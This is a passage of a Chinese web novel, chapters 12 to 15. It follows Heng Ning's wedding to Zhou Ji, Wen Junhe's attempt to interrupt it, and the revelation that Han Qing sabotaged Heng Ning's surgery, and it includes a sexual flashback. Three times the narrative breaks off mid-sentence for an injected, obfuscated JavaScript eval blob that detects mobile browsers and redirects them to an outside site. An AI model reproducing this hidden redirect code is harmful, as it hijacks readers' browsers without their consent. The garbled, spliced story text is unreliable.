如果早知道……他绝不会把闻君鹤强留在身边。 贺宁知道自己算不上什么好人,但从未想过在闻君鹤眼里,自己竟恶毒到这种地步。难怪韩卿随便挑拨几句闻君鹤就信,难怪这些年对他冷言冷语,原来闻君鹤是真觉得他会对无辜的家人下毒手。 换作别人这样想他,贺宁连眼皮都懒得抬。可这个人是闻君鹤,他曾经恨不得把心掏出来给对方看的人。他连问都不问就给贺宁判了死刑,连辩解的机会都不给。 当初韩卿告诉他闻君鹤被贺闳兴威胁时,贺宁还愧疚得不行,终于理解闻君鹤为什么那么恨他爸。现在才知道,原来还有更早的仇怨横亘在他们之间。 闻君鹤信了孟轩的挑拨,就等于认定了贺宁骨子里就是个烂到根的人。 贺宁想那些相拥而眠的夜晚,闻君鹤被他这个“烂人”抱着亲吻时,心里到底在想什么?是不是每分每秒都在忍着恶心? 他想起贺闳兴当年的话,说闻君鹤不是良配,说一厢情愿撑不了多久。那时候贺宁还天真地反驳,说人心都是肉长的,总有一天能焐热。 现在想来,恐怕闻君鹤的心就是铁打的,还是块烧红的烙铁,碰一下就能烫出个疤来。 所以现在闻君鹤说要跟他结婚,是因为发现误会了他这么多年,良心过不去了吗?贺宁盯着闻君鹤无名指上那枚旧戒指。 后来闻君鹤回想起来,那大概是他们相识以来最心平气和的一次谈话。 贺宁一遍遍地说着“对不起”,他说自己从前对很多事都不知情。 闻君鹤想打断他,却插不进话。 “你可以暂时住我这里,”闻君鹤生硬地转移话题,“等周家的事过去后,要是你还想结婚......” “不,我不想。”贺宁说, 闻君鹤以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900381|176590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为他放弃了和周纪结婚的念头,紧绷的肩膀微微放松:“周纪跟他弟弟纠缠不清,迟早会让你难堪。” 闻君鹤说:“还有后脑的疤到底怎么来的?孟轩一直说意外,我不相信。” “意外,就是意外,”贺宁点点头,眼神却飘向窗外:“……我想该回家了收拾东西了。” 贺宁说的“家”,显然不包括这里。 闻君鹤把贺宁送到他和周纪租住的公寓楼下,车窗降下时夜风灌进来,带着初秋的凉意:“你回去收拾一下东西,过两天我来接你好吗?” 贺宁含糊地应了声,而后就匆匆下了车。 贺宁回家后翻出里面整整齐齐码着几年来的日记本,每一页都写满了闻君鹤的名字,他怕自己忘掉而写下的一些事,还有个丝绒盒子,打开是枚素圈戒指,内壁刻着两人名字的缩写。 贺宁把戒指套进无名指,尺寸刚刚好。 金属贴着皮肤的感觉冰凉,像极了贺宁此刻的心情,他对着空荡荡的房间问:“闻君鹤,你留在我身边那么久,就为了折磨我吗?” 他想起当年闻君鹤说要带他出国时,自己感动得像个傻子;想起后来忍着病痛提分手,还自以为伟大。现在才明白,那些自我感动高//潮的戏码。 闻君鹤回到家,翻出备用钥匙摆在玄关的托盘上。他清空了半边衣柜,新买的拖鞋和情侣漱口杯并排放在浴室,连毛巾都挑了一对。 看着这些成双成对的物件,闻君鹤站在客厅中央发了会儿呆。 第三天清晨,天还没亮透他就出了门,在车里坐了很久,才叩在贺宁家门上,敲击声在寂静的楼道里格外清晰。 等了十分钟,还没人开门。 闻君鹤摸出手机,屏幕亮起又暗下。 电话那头传来冰冷的关机提示音,消息也石沉大海。闻君鹤的心一点点沉下去,走到楼梯口时,余光瞥见角落里孤零零的纸箱。 本来没在意,直到看见那个露出半截的玩偶,是他当年给贺宁的小熊挂件。 他蹲下身,从箱子里捡起本被撕得乱七八糟的日记。 第一页的字迹歪歪扭扭,但是日期和事件都写得很清晰。 「我生病了,脑子更不好使,会不会拖累闻君鹤啊……」 「病房就我一个人,好可怕。那些人一直来逼我签字,头快炸了,我要是死了,他会不会来看我一眼?」 最后一行小字挤在角落,「医生说我的记忆力会慢慢变得很差,所以我得写下来,明天记得换药,抗抑郁的也别忘。」 「我提了分手,闻君鹤很生气。我打电话时没哭,后来哭了很久,明天不吃消炎药了,上次药片卡在喉咙里很痛。」 「撑不住了,还是签了和解书,去看了爸爸,他看起来老了一些,有一天我会不会连爸爸都不记得,贺宁,无论怎么样都得往前走了。」 ……………… 「他和韩卿的合照我看到了,很讨厌,药效上来了,脑子昏沉得像灌了铅,可闭上眼全是他们的画面。明天八点有季度汇报,优盘里的设计方案必须记得带。」 那几本皱巴巴的日记下面,静静躺着一枚戒指。闻君鹤突然想起人事部李姐说过的话,贺宁脑子不好。 贺宁在那场麻醉事故导致海马体损伤,认知功能永久性减退,楼道里光很暗,但那些歪歪扭扭的字迹在闻君鹤眼里格外清晰,那些被贺宁反复提醒自己“别忘了”的事,那些需要靠加量药物才能压下的疼痛。 闻君鹤站在楼梯间里,手都在发抖,他被遗忘的生日、那些咄咄逼人的质问,此刻全都化作锋利的回旋镖,狠狠扎回他身上。 纸箱里的日记本摊开着,贺宁的每一个字,都一下下剐着他的神经。 手机突然震动起来,屏幕亮起推送,周氏长子与其贺姓恋人于X国完成婚姻登记,正式的西式典礼婚礼不日举行,报道写得详尽:周家对这段关系讳莫如深,但当记者追问时,周牟富还是摆出开明家长的姿态,说只要儿子喜欢,品性端正就好。 周纪作为周牟富与发妻的长子,一直行事低调,如今却一反常态,对于这段恋情却毫不吝啬对外公布进展。 13. 他知道那个万人嫌贺宁回来了 婚礼当天晴空万里。 贺宁站在穿衣镜前整理领结,小声嘀咕着“上次不是办过了”,周纪从身后经过说:“办几场不是办,我就是要让我的婚事全城的人都知道。” 周家人的态度对贺宁来说用泾渭分明四个字可以形容,表面礼数周全,也仅限于此。 比起虚情假意的热情,贺宁反倒觉得这种直白的疏离更让人安心。因为至少这些轻蔑,声势浩大也不浩大,伤不到他分毫。 他们的婚礼筹备得匆忙,连礼服都来不及定制,只能临时在品牌店挑选。 那日贺宁赶到国外的时候,周纪侧颈上还留着狰狞的吻痕,像是被人狠狠咬出来的。 周崇当时脸色阴鸷地盯着贺宁:“你居然还来这里?” 贺宁平静地反问为什么不能,伸手就要拉周纪离开。 贺宁不知道周崇刚才跟他说了什么,只听见周纪自嘲般低语:“拉你蹚这浑水……我是不是做错了?” 贺宁摇摇头,当所有人都对贺宁的落魄冷眼旁观时,只有周纪愿意朝他伸出手。 所以现在,贺宁心甘情愿陪他演这场戏,用一纸婚约洗刷那些“乱///伦”的污名。 反正贺宁早已一无所有,名声、尊严,都随着贺家的倾塌碎成了渣。 “我受不了他这样的爱。” 没有爱该是这副模样,充满算计,扭曲的占有欲,还有那些以爱为名的伤害。 贺宁说:“那就别接受。” 贺宁的手指抚过陈列的西装,忽然想起多年前那时候他也像现在这样,站在试衣镜前整理衣领。只不过当年穿的是纯白礼服,设计师亲手为他别上胸针,店员拉开帘子时布料摩擦发出“唰”的声响。 记忆里的闻君鹤坐在沙发上抬头。贺宁当时紧张得手心冒汗,不停地摆弄袖口的袖口,像个待嫁的新娘似的羞赧不安。 闻君鹤目光在贺宁身上停留了很久,手指无意识地在手机边缘轻敲,屏幕上的新闻页面早就暗了下去。 贺宁被那目光烫得手足无措。他扑到闻君鹤身上,胳膊环住对方的脖子:“到底好不好看?” 声音里带着撒娇的意味,贺宁说:“你别光看着不说话啊。” 闻君鹤被他闹得没办法,淡淡评价了句“太浮夸了”。贺宁立刻撇嘴说他敷衍,搂着闻君鹤说他想要一切都漂漂亮亮。 贺宁兴致勃勃地为闻君鹤挑了套礼服,纯白的燕尾服,袖口绣着繁复的金线,是他最爱的风格,却也是闻君鹤嫌恶的设计。贺闳兴觉得儿子简直在玩过家家的游戏,并不觉得荒谬而叫停。 那时候的贺宁活得像个不知疾苦的小王子,贺闳兴无底线的溺爱给他铸了层金钟罩,让他觉得全世界都该围着自己转。虚假的朋友们捧着他,恋人会一直在他身边,连那些无理取闹的要求都会被一一满足。 后来贺家倒了,贺宁才真正明白什么叫“命运馈赠的礼物早已标好价格”。 去探监时,他换上轻松的表情对贺闳兴说“我过得挺好,我把自己照顾得也很好”。 贺宁对每一个人这样说,他把自己照顾得很好。 玻璃那头的贺闳兴日渐苍老,眼神却愈发锐利,他看穿了一切告诉贺宁说:“宁宁,别难过,失去是每个人都要经历的。” 贺闳兴当年说闻君鹤不是良配时,是在保护这个被宠坏的儿子,不要尝到求而不得的苦。 贺闳兴给贺宁筑了二十多年的金丝笼,却没教过他该怎么面对笼外的风雨。等保护罩突然碎裂,贺宁像只被扔进狼群的羊羔,跌跌撞撞地应付着陌生的人情世故。那些曾经巴结他的人,看他的眼神像在看路边的垃圾;曾经唾手可得的东西,如今拼尽全力也够不着。 贺宁渐渐学会把自己缩进壳里,像旁观者一样看着这个光怪陆离的世界。直到闻君鹤前几日说出他多年心结,贺宁才惊觉自己活得有多失败,想要的爱得不到,该有的信任也寥寥无几。 贺宁这些年把自己钉在原地,像赎罪一般不敢靠近,不敢纠缠,只盼着闻君鹤某天回忆起来,能给他一句“还算识趣”的评价。 他总想着,尽管他爸做过那些事,但他们好歹有过几年好时光。 可闻君鹤压根没这么想过。 多讽刺啊,他们在一起四年,不是一年两年,贺宁掏心掏肺地对他好,到头来闻君鹤宁可信外人几句挑拨,也没给过他半分信任。 那个人还是伤害他的人。 那些温存时刻,在闻君鹤眼里大概只是被迫的敷衍,他的真心,在闻君鹤那里什么都不是。 闻君鹤那日说出他误会贺宁的话时,贺宁看着他,仿佛眼前这张英俊的脸突然腐朽成灰,碎成了一堆骨头。 人人都道闻君鹤清高自持,贺宁在那一刻看透了他骨子里的傲慢与自私,那种根深蒂固的、宁可错杀一千也不肯放下身段问一句真相的冷漠。 所有人都说贺宁骄纵,可真正骄傲到骨子里的分明是闻君鹤。 曾经让贺宁着迷的特质,如今却成了他最仇恨的地方。 原来爱恨就真的在一瞬间。 贺宁坏,也坏得坦坦荡荡,他不需要这种迟来的同情,恶心这种虚伪,更不想再犯贱似的凑上去讨要一点温存! 贺宁对闻君鹤的愧疚像块沉甸甸的石头,压在心口多年。 可闻君鹤何尝不是用几年的冷暴力,一刀刀凌迟报复了回来? 哪怕闻君鹤是块石头,对他没有一点心动,贺宁都不会失望如此,可闻君鹤明明都知道,他也不是对他一点都没有感觉,他就是故意的。 他忽然觉得轻松,那些自欺欺人的期待,终于可以放下了。 他不欠闻君鹤的,也不欠任何人。 这场长达五年的自我折磨,该到此为止了。 周纪看着贺宁穿着一件裁剪得非常流畅的西服,称赞道:“很好看。” 贺宁对他露出一抹微笑,周纪不知道是不是错觉,贺宁身上那股像清晨初阳底下那份拘谨和压抑彻底消失了,变得无影无踪了。 仿佛一直禁锢他的什么心结彻底消失。 “……纪哥,你也很帅。” 周纪拉起贺宁的手,璀璨的灯光下,他抬起眼:“以后叫我阿纪吧。” “……阿纪。” 周纪看着他:“贺宁,我们都不要后悔。” 白色的玫瑰花瓣洒落,悠扬的音乐响起,露天下像是被翻新过的草坪上是来往的宾客,贺宁靠着他不是很出色的记忆力,记住了周家大大小小的来往亲属身份。 巨大的露天台上,纯白的背景墙,到处都是鲜花和气球,远看像是精修的风景图片。 贺宁站在人群中央,白衬衫的领口熨帖地贴着修长的脖颈,西装裤的剪裁恰到好处地勾勒出笔直的腿线。 阳光透过教堂的彩绘玻璃落在他身上,淡妆修饰过的五官在光影交错间显出几分不真实的精致,整个人像是被镀了一层柔光,他漂亮得像是下一秒就会振翅飞走的天使。 孟轩坐在第三排靠走道的位置,手肘支在扶手上,掌心托着下巴。 他眯起眼睛看着贺宁的侧脸,视线从对方微微扬起的唇角滑到握着捧花的指节,司仪的声音忽远忽近,他想起几年前的另一个午后,贺宁也是这样站在鲜花拱门下,面前的对象是闻君鹤,孟轩记得太清楚了,贺宁踮脚亲吻闻君鹤时那笑容里带着孤注一掷的甜蜜,仿佛要把自己烧成灰烬献祭般的爱。 很刺眼。 现在贺宁的笑容很得体,很标准。 周纪拿起左右手递上来的戒指,然后戴进了贺宁的无名指里。 周纪笑得温柔,贺宁在他脸侧落下一个亲吻,台下响起了热烈的欢呼声,周牟富和他的夫人坐在台下,听着身边的动静,最终抬起手也跟着拍了两下,嘴角微微扬起形成一个比较满意的弧度。 周牟富想起前几日贺宁来找过自己。 他说:“叔叔,你要对周崇狠不下心,我们这场婚礼办不成,办不成,他会一直纠缠周纪。” “两个儿子,总得保一个吧,您不能为了个非亲生的,把亲生的不当人。” 婚礼举办的时候,周家走廊尽头的那盏灯始终亮着,保镖像两尊雕塑般立在门外,不敢松懈一刻,仿佛里面关着的不是人,而是一头随时会撕破牢笼的困兽。 房间里传来重物砸向墙壁的闷响,玻璃碎裂的脆声,还有布料被撕扯的刺啦声。床单被扯得半垂到地上,枕头里的羽绒飞散在空气里,飘得像一场不合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900382|176590||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时宜的雪。 而始作俑者就仰躺在凌乱的床褥间,漆黑的眼珠一眨不眨地盯着天花板。 他猛地弹坐起来,赤脚踩过满地狼藉,瓷器碎片在苍白的脚背上划出细小的血痕,可他像是感觉不到疼,只是疯了一样拍打着厚重的房门,指节在实木上撞出沉闷的响声。 “让我哥来见我!爸爸不能这么对我!”周崇的嗓音嘶哑得不像话,“告诉他们,我要死了!让我哥来见我!我要死了!” 门外依旧寂静如死。 他的声音渐渐低下去,最后变成一种近乎呢喃的呜咽,手指顺着门板滑落,在漆面上留下几道泛红的指痕。 婚礼结束,拍大合照的时候,远处突然传来喧闹和骚动。 宴会是邀请函制的,闻君鹤力量出奇的大,三个安保都没能将他拦在外面。 闻君鹤身上的白衬衫沾了尘,头发也有些乱,像是经过了什么打斗,他从少年时代起无论陷入怎样的境地都会把背崩得很直,姿态挺拔,像一颗青松,所以总给人一种很精神的感觉,他恍惚地把目光抬起来,看向贺宁站着的方向。 贺宁今天打扮得很好看,捧着白色纯洁的花束,像新娘,只是身边站着的人他很讨厌。 闻君鹤第一次感受到大脑和四肢都失去血液的感觉,他从没有这种体验,好像变得无法进行复杂的思考,无名指的尾戒都变得滚烫。 贺宁像是皱了皱眉。 闻君鹤和他遥遥对视着,因为雇主没有开口制止,安保人员也不再动作,没人喝止闻君鹤,他便当着很多人的面往楼梯走去,直直朝着贺宁的方向。 经过第二层的,被地毯绊了一下,手抓住了围栏的木头,才没摔下去。 他站稳了,抬腿要继续不管不顾地往前走,有人叫住他:“闻君鹤!” 是韩卿。 他这一吼,几乎所有人的目光都落在闻君鹤身上。 贺宁记得他耀武扬威地来到他和闻君鹤的住处门口,拿着个药瓶,告诉闻君鹤跟他在一起是因为受他父亲的威胁,那段时间贺宁总是昏昏沉沉。 他把那几句话翻来覆去地理解,只觉得有一股痛穿过大脑,一直传到心脏,可他连哭都哭不出来,他后来查过那药,就是助勃///起的药。 贺宁不知道自己究竟做错了什么。 闻君鹤和韩卿要这样羞辱他。 韩卿站在不远处,对贺宁说:“抱歉啊,我没拦得住。” 孟轩看着突然出现的人,在短暂的诧异后,脸上就挂了一抹似笑非笑的看热闹表情,人群开始窃窃私语。 贺宁眼睑下垂几秒,阳光落在他的脸上,闻君鹤几乎快看不清他的表情,只能看到被淡淡阴影勾勒出来的清瘦轮廓。 闻君鹤没有理会韩卿,继续往前。 还是贺宁先开的口:“我们好像没给你们发过请柬吧。” 闻君鹤停住了,他看着贺宁定定地道:“……我说了要接你的,我已经把房子收拾好了,我以后都不会离开了。” 他伸出手:“贺宁,跟我走。” 周纪凑到贺宁耳边轻声道:“贺宁,你要是这时候走,我不会怪你的,真的,这是你最后的后悔机会。” 说罢,对他露出了一个安慰的笑。 贺宁最开始看心理医生的时候,最常做的事是在房间里开着电视,坐在躺椅上什么都不想地发呆,不会想到闻君鹤,他就会开心很多。 其实一直困住他的就是闻君鹤。 曾经让他一想起就心头滚烫的白衣少年,不知道什么时候起,烫得他开始发疼,狠狠灼烧着他的心脏。 时而因剧痛而清醒,陷入泥泞般痛苦的挣扎。 贺宁温柔地回握住周纪的手,他对着安保变了脸,无情地道:“我不认识他们,赶出去,没有邀请函的人,都给我赶出去。” 孟轩看着贺宁眼神在闻君鹤身上一瞥而过,仿佛在看一粒尘土,那般轻视高傲的神情,呼吸突然一沉,手指都在颤抖,那股激动像顺着血管往四肢百骸里钻。 他知道那个万人嫌贺宁回来了。 那个不屑于讨好任何人的贺宁,只在乎自己,仿佛这世上的情爱都是脏了他鞋底的泥的贺宁。 回来了。 14. (韩卿*贺闳兴的戏份)慎入!可戏没像他预料地演 那场婚礼闹剧,韩卿原本等着看贺宁在闻君鹤出现时失态的样子,最好是当场扔了戒指跟他逃婚,得罪了周家,那才叫精彩。 可戏没像他预料地演。 真没劲。 韩卿没想过闻君鹤居然能到贺宁婚礼现场抢婚。在他眼里,贺宁就是个又当又立的货色,当年仗着贺家的势,硬是把闻君鹤抢过去,转头又装得多可怜,准备用那副要死不活的样子把闻君鹤拴在身边。 他也实在想不通。闻君鹤明明恨贺家恨得要死,每次提到贺闳兴都眼神发冷,怎么偏偏对贺宁就狠不下心? 他问过闻君鹤,为什么非要跟贺宁纠缠不清。闻君鹤从来不说,但韩卿不是傻子,有些事他看得出来,每次闻君鹤盯着贺宁看的时候,那种眼神根本不是恨,倒像是...... 韩卿和闻君鹤是“很好”的朋友,至少表面上是这样。他从不直接在闻君鹤面前说贺宁的不是,那样太蠢了。韩卿只会恰到好处地提起贺家那些烂事,在闻君鹤皱眉时递上一杯酒,“不经意”透露贺宁又做了什么荒唐事。 这些年来,他知道怎么把刀子捅得又准又狠,还能让自己全身而退。 在他眼里,贺宁就是个被惯坏的少爷。 贺闳兴把这个儿子宠得无法无天,要星星不给月亮,养出了一身骄纵任性的毛病。韩卿见过太多人对贺宁表面奉承背后唾弃的样子。 有时候他甚至觉得好笑,贺宁身边围了那么多人,却没几个是真心实意的。 他和闻君鹤的友谊,某种程度上是建立在共同厌恶上的。 韩卿一直以为他们之间多了一种微妙的默契,像是两个从同一场灾难里爬出来的幸存者。 韩卿有时候会产生错觉,仿佛他们真的可以一起把贺家、把贺宁彻底踩在脚下。 但闻君鹤的态度总是让他捉摸不透,这个男人对贺宁的恨意里,似乎还掺杂着别的什么。 韩卿早就知道闻君鹤对男人没兴趣,贺宁要追闻君鹤时,他才第一时间出来解围。 那个吻也是他顺手帮个忙,他不喜欢闻君鹤,虚情假意,摇摆不定的一个懦夫罢了。 那次为闻君鹤出头的结果来得很快。当晚韩卿就被叫回家,父亲一巴掌把他扇得撞在玄关的装饰柜上。 “你活腻了?敢跟贺家那个小祖宗抢人?”父亲手指都在发抖,“贺闳兴是好惹的吗?” 他和贺宁从初中就是同学,只是贺宁大概不记得他。 韩卿抚摸着肿起的脸,站在窗边出神。 他想起当初他们所在的初中举行家长日,当时贺宁撒娇想要一只跑步比赛的冠军奖品。 贺闳兴那时候的位置并不是很高,却是一个男人事业最辉煌的时期,可是他为了贺宁脱了西装外套扔给秘书便上了赛场,隐隐可见衬衫底下坚实的肌肉线条。 韩卿的父亲让儿子忍气吞声以换苟且。 可贺闳兴为了儿子一句话跟比他更有权势的人抢东西,也毫不避让。 那个时候韩卿就坐在观众席,抱着手臂,看着贺闳兴在一众发福的中年人中显得身姿修长挺拔,人群中扎眼得很,那双眼睛像是蠢蠢欲动的猛虎,那是追逐权利和欲望的一双眼睛。 韩卿听见后排有人说贺太太去世得早,贺闳兴这些年身边不是没人,但为了贺宁一直没再娶。说这话的人语气里带着夸张的唏嘘,仿佛这是什么值得歌颂的伟业。 韩卿当时就嗤笑出声,装什么深情,脏男人一个,明明身边也没缺过人。 韩卿本来最烦这种闹哄哄的场合。他父母从来不屑参加这种无聊的校园活动,今天是被同桌硬拽过来的。 塑胶跑道被晒出的橡胶味混着人群的汗臭,熏得他直皱眉,手里水瓶被他捏得咔咔响。 可当发令枪响起那一刻,他的视线却像被钉死了。 贺闳兴起跑的姿势很专业,衬衫下摆随着动作翻飞,在一群挺着啤酒肚的中年男人中间,像头突然闯入羊群的猎豹。 韩卿不自觉地屏住呼吸,看着那道身影越来越快,把其他人远远甩在后面。 冲线时贺宁直接从看台跳了下来,像颗小炮弹似的撞进贺闳兴怀里。 “爸爸真厉害!”少年的欢呼声刺破嘈杂的人群。贺闳兴胸口还在剧烈起伏,却已经笑着揉乱了儿子的头发,那双平日里令人胆寒的眼睛,此刻柔软得不可思议。 韩卿突然别过脸去,镜片后的睫毛颤了颤。 后来闻君鹤答应和贺宁在一起,韩卿也开始了一段恶心的关系。 他仍旧讨厌贺宁。 韩卿有一次约了闻君鹤出来,放下手里的药瓶,他抬眼看向闻君鹤,嘴角挂着若有似无的笑:“我想你需要这个,你毕竟是喜欢女人的不是吗?为了你的家人考虑,我觉得你不能和贺宁闹掰。” 闻君鹤盯着那个药瓶看了几秒,突然伸手抓起来塞进口袋,转身就走。 韩卿看着他连句废话都没有的背影,嗤笑一声给自己倒了杯酒,他哼着歌晃着酒杯,预感有一天这样东西会让贺宁痛苦非常。 他更是趁着闻君鹤喝醉,诱导着他说话,把那些醉话一字不落地录了下来。 韩卿等这个机会等了太久。 直到贺闳兴被抓,韩卿觉得闻君鹤就是心太软,明明恨贺家恨得要死,却总对贺宁下不了狠手。现在贺宁最大的靠山倒了,他总算能好好收拾那个不知天高地厚的小少爷。 他太了解贺宁了,那个被贺闳兴宠坏的一个废物,除了会撒娇耍横什么本事都没有。 闻君鹤是被贺宁那张漂亮脸蛋和死缠烂打给迷惑了。 于是他把一切都告诉了贺宁。 闻君鹤临走前还让韩卿“帮忙照看贺宁”,他当时答应得很爽快。 欣赏贺宁痛苦的表情一度成了韩卿的乐趣。 当时贺宁摔下楼梯的时候,韩卿站在不远处,看着楼下孟轩慌慌张张地把贺宁抱起。 医疗事故的调查文件就躺在他办公桌抽屉里,关键几页早就被抽走了。他特意选了个刚毕业的实习医生来处理贺宁的病例,手术同意书上缺失的过敏史,用药记录里被故意忽略的禁忌症,每处细节他都安排得天衣无缝。 孟轩在手术室门口来回踱步,当主治医师出来说手术出了意外时,孟轩那张脸瞬间惨白。 和解协议签得也很快。 贺宁躺在病床上签字时,手腕细得能看见青色血管,孟轩背着他好像多给了贺宁一笔钱,韩卿觉得可笑。 孟轩当惯了狗,实在也当不了人了。 闻君鹤也是,贺宁结婚了,他颓废了很久。 发生过的事,无论是掩藏着再好,只要有心人想找,总能找到蛛丝马迹。 韩卿的办公室门被闻君鹤一脚踹开时,他正在批文件。一叠资料“啪”地摔在他面前,最上面那张赫然是几年前贺宁的用药记录。 “你告诉我这些是什么!”闻君鹤的声音冷得吓人。 韩卿扫了眼那些文件,病历复印件、手术同意书、甚至还有当年那个实习医生的身份。他喉结动了动,韩卿知道如果实情被曝光,这将会是韩家最大的丑闻,他也会有牢狱官司缠身。 贺宁知道吗?他了解贺宁那个人,如果被他抓住把柄,他会咬住人死死不放。 “君鹤,”韩卿站起身,脸上堆出诚恳的表情,“你冷静一些。” 闻君鹤眼底布满愤怒:“我冷静?” 他指着散落的文件:“证据确凿,你还想怎么抵赖。” “君鹤,你听我解释,我当时……只是一时糊涂。” 可闻君鹤冷眼看着他:“糊涂?你就是这样在暗中使手段害贺宁,我是真的把你朋友的,可你做了什么。” 韩卿看着闻君鹤暴怒的样子,镜片后的眼睛微微眯起。他向前倾身,双手撑在办公桌上,声音放得又轻又缓:“我也把你当朋友啊,君鹤,我做这些都是为了你好。你忘了当初贺闳兴是怎么威胁你的?要不是他拿你姑姑的事要挟,不然你怎么会……” “所以你就要害死贺宁?”闻君鹤一把揪住他的衣领,手背青筋暴起,“那次手术他差点没下来,你他妈知不知道?!他是最无辜的!” 韩卿被他勒得呼吸一滞,却突然笑了。 他慢条斯理地推了推滑落的眼镜,镜片反着冷光:“无辜?” 韩卿尾音上扬,带着几分讥诮:“贺家父子哪一个无辜?他们就不配得到幸福。” “你为什么那么恨贺宁?” 韩卿看着他说:“如果我说贺闳兴以前强迫了我呢?” 闻君鹤猛地松开手,像碰到什么脏东西似的后退两步。 韩卿整了整皱巴巴的衬衫领子,看着对方脸上毫不掩饰的震惊,突然觉得特别有意思,阳光照得他镜片一片雪亮,遮住了眼底翻涌的暗色。 韩卿十八岁生日那天,他甩开满屋子的宾客,踩着宴会厅后门溜了出来。 夜风把定制西装的衣角吹得翻飞,韩卿刚摸到那辆黑色卡宴的车门把手,就被一股力道猛地拽了进去。 贺闳兴的手掌还带着室外夜风的凉意,顺着他的腰线滑进衬衫下摆时,激得他后背起了一层细小的战栗。 韩卿下意识往前躲,却被男人掐着腰按在真皮座椅上。他仰头环住贺闳兴的脖子,闻到对方身上熟悉的雪茄味混着古龙水的气息。 “生日快乐。”贺闳兴咬着他下唇说,手指已经解开了他两颗衬衫扣子。冰凉的指尖在他锁骨上打转,突然用力掐了一下,“不过你最近是不是太针对宁宁了?” 男人的声音带着情//欲的沙哑,说出来的话却让韩卿浑身一僵:“我可不是什么公平的人,做不到一碗水端平。” 韩卿偏头躲开他的吻,喉结动了动:“我就要跟他较劲。” 他声音闷在贺闳兴肩窝里:“他是你的宝贝儿子,告状永远有用,我反正……没人疼。” 贺闳兴低笑一声,突然掐着他下巴迫使他抬头。后座顶灯啪地亮起,韩卿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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檀香味混着情//欲的气息扑面而来,韩卿站在门口,手里的礼物“咚”地砸在地板上。贺闳兴头都没回,只是随手扯过被子盖在两人身上:“把门带上。” 韩卿意识到自己在这个男人心里只是发泄欲//望的一个玩意。 后来韩卿喝到胃出血,他蜷缩着,抖着手拨通了贺闳兴的电话,电话那头很吵,隐约能听见娇滴滴的女声,才听见贺闳兴漫不经心的声音:“宝贝,到此为止吧。” 韩卿跟贺宁作对,贺闳兴从没有一次偏心过他。 他作践自己,也换不来贺闳兴一丝一毫的可怜。 韩卿把贺闳兴让人送来的那张卡剪成两半扔进垃圾桶时,病房里的玻璃花瓶被他砸在墙上,碎片溅得到处都是。 护士站在门外不敢进来。 贺闳兴身边从来不缺人,他韩卿也不过是其中一个。但两年时间,就换来一张冷冰冰的银行卡,甚至分手懒得亲自来说。 出院那天,韩卿站在马路对面,看着贺闳兴的新宠从豪车上下来。 没有人可以这么对他。 韩卿想。 他要让贺闳兴体会到他同样的痛苦,他得不到的,宁可毁掉。 贺闳兴的入狱他有一份功劳,可归根结底还是这个男人太过贪婪。 贺宁身边有贺闳兴长情的零星旧部保护着,他到底轻易下不了手,可他知道贺宁的另外一个弱点。 ——闻君鹤。 这个跟他一样恨着贺闳兴的人。 是贺宁的弱点。 他不会杀贺宁的,他要让他失去一切,这辈子庸庸碌碌地活着,而贺闳兴一辈子活在悔恨中,韩卿算透了一切,可是就是没算到闻君鹤会回来。 “我不明白你为什么要回来,明明在国外那么努力什么都有了,就为了一个贺宁吗?!” 闻君鹤:“对,我那么努力就是为了回来。” 韩卿愣住。 闻君鹤看着韩卿偏执的眼神:“以后我们不再是朋友,这件事我也不会善罢甘休的,我会把证据全部交给贺宁。” 闻君鹤摔门离开时后。 “随你便。“韩卿对着空荡荡的办公室自言自语,他慢悠悠地点了根烟。 打火机的火苗蹿起来,映得他镜片后的眼睛一片冷光。 窗外暮色沉沉,玻璃映出他模糊的轮廓。韩卿突然想起贺闳兴入狱前看他的最后一眼,也是这样的不屑一顾。 他狠狠掐灭烟头,火星在指尖灼出一小片红痕。凭什么?凭什么贺宁那种废物能一次次有人护着他?凭什么闻君鹤明明恨透了贺家,却还是忍不住护着贺宁? 韩卿又点了根烟,烟雾在办公室里弥漫。他看着自己吐出的烟圈缓缓上升,忽然笑出了声。 多可笑啊,韩卿不甘心地想,所以贺家人怎么就那么好命,前赴后继地,总有人为他们疯狂。 就连他韩卿,不也曾经像条狗一样跪在贺闳兴脚边摇尾乞怜吗? 15. 和我在一起,你硬得起来吗 高档餐厅的水晶灯在钢琴曲中泛着柔和的光,闻君鹤面前的咖啡已经凉了。 贺宁拉开椅子的动作很重,实木椅脚在大理石地面上刮出刺耳的声响。 他今天穿了件黑色毛衣,衬得肤色冷白,右手无名指上那枚戒指在灯光下格外明显。 闻君鹤的视线在那处停留了一秒,喉结动了动:“路上堵车了吗?” 贺宁是故意吃饭的,以前都是他等闻君,如今居然也有机会让闻君鹤等他。 钢琴曲正好换到下一章,欢快的旋律和此刻的气氛格格不入。 贺宁没接话,直接把手里的文件袋扔在桌上,“啪”的一声。 “闻君鹤,省掉这些没用的客套。”贺宁给人一种锋利感,“你寄那些资料给我,到底什么意思?” 